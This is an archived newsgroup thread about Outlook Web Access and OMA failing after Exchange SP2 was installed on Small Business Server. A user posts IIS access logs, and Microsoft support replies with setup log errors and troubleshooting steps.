2005-11-09 15:10:40 192.168.0.2 GET /exchweb/bin/auth/owalogon.asp
url=<https://servername.domain.com/Exchange&reason=0> 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200
2005-11-09 15:10:57 192.168.0.2 POST /exchweb/bin/auth/owaauth.dll - 443 -
###.###.###.### Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 302
2005-11-09 15:18:15 127.0.0.1 GET /exchange - 80 - 127.0.0.1
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1302
2005-11-09 15:18:15 127.0.0.1 GET /exchange - 443 - 127.0.0.1
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1401
2005-11-09 15:18:15 127.0.0.1 GET /exchweb/bin/auth/owalogon.asp

RE: OWA and OMA fail after installing sp2 for Exchange

```
url=https://localhost/exchange&reason=0 443 - 127.0.0.1
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
200
2005-11-09 15:18:25 127.0.0.1 POST /exchweb/bin/auth/owaauth.dll - 443 -
127.0.0.1
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
302
2005-11-09 15:23:30 192.168.0.2 GET /exchange - 80 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
302
2005-11-09 15:23:33 192.168.0.2 GET /Exchange - 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
401
2005-11-09 15:23:33 192.168.0.2 GET /exchweb/bin/auth/owalogon.asp
url=https://servername.domain.com/Exchange&reason=0 443 - ###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
200
2005-11-09 15:23:49 192.168.0.2 POST /exchweb/bin/auth/owaauth.dll - 443 -
###.###.###.###
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.2;+Installed+by+Symantec+Package;+SV1;+.NET+CLR+1.1.1
302
```

I must say that I am a bit puzzled in looking at these as they seem to show that at 14:28:51 owa was at least partially successful in loading while subsequent attempts fail more or less outright. I saw no difference from the user's perspective however.

Dustin

""Brandy Nee [MSFT]"" wrote:

```
> Hello Dustin,
>
> Thank you for posting back!
>
> I have read through all the log files you sent to me, and I noticed
> following error information:
>
> [19:30:12] CService::ScQueryServiceConfig
> (f:\tisp2\admin\src\libs\exsetup\service.cxx:539)
> Error code 0XC0070424 (1060): The specified service does not
> exist as an installed service.
> [19:30:12] Service = 'MSExchangeDS' CServiceManager::ScGetServiceInfo
> (f:\tisp2\admin\src\udog\setupbase\tools\svcmgr.cxx:431)
> Error code 0XC0070424 (1060): The specified service does not
> exist as an installed service.
> [19:30:12] Service = 'MSExchangeDS' CServiceManager::ScStartService
> (f:\tisp2\admin\src\udog\setupbase\tools\svcmgr.cxx:505)
> Error code 0XC0070424 (1060): The specified service does not
> exist as an installed service.
```

RE: OWA and OMA fail after installing sp2 for Exchange

>
> [19:30:37] !!!!!!!!!Setup completed successfully!
> [19:30:42] CComBOIFacesFactory::QueryInterface
> (f:\tisp2\admin\src\udog\bo\bofactory.cxx:54)
> Error code 0X80004002 (16386): No interface.
>
> Please see my following suggestions:
>
> 1. Expand to Server Management\Standard Management\Users. On the right
> pane, click Add User to run the Add User Wizard. Use the newly created user
> account to log on OMA and OWA, will this issue occur?
>
> 2. Does Outlook work?
>
> 3. Please help to gather IIS log for further research:
>
> a) Go to Server Management\Advanced Management\Internet Information
> Services\Yourserver(Local Computer)\Web Sites\Default Web Sites.
>
> b) Right click Default Web Sites, select Properties, Web Site tab.
>
> c) Check the box Enable Logging.
>
> d) Click Properties. You will see that your log file directory. By default
> it is c:\WINDOWS\system32\LogFiles.
>
> e) Reproduce the issue. Go to c:\WINDOWS\system32\LogFiles if you did not
> change the log file directory.
>
> f) Paste the full content of the log file to the Newsgroup.
>
> I appreciate your time and cooperation, and I am looking forward to hearing
> from you!
>
> Best regards,
>
> Brandy Nee
>
> Microsoft CSS Online Newsgroup Support
>
> Get Secure! – www.microsoft.com/security

• *Follow-Ups:*

- ◆ **RE: OWA and OMA fail after installing sp2 for Exchange**
◇ From: "Brandy Nee [MSFT]"

• *References:*

- ◆ **RE: OWA and OMA fail after installing sp2 for Exchange**

RE: OWA and OMA fail after installing sp2 for Exchange

◇ *From:* "Brandy Nee [MSFT]"

- Prev by Date: ***Re: SBS 2003 and reporting service in SQL server***
- Next by Date: ***Re: Same time every day server CRAWLS!***
- Previous by thread: ***RE: OWA and OMA fail after installing sp2 for Exchange***
- Next by thread: ***RE: OWA and OMA fail after installing sp2 for Exchange***
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 - ◆ ***Date***
 - ◆ ***Thread***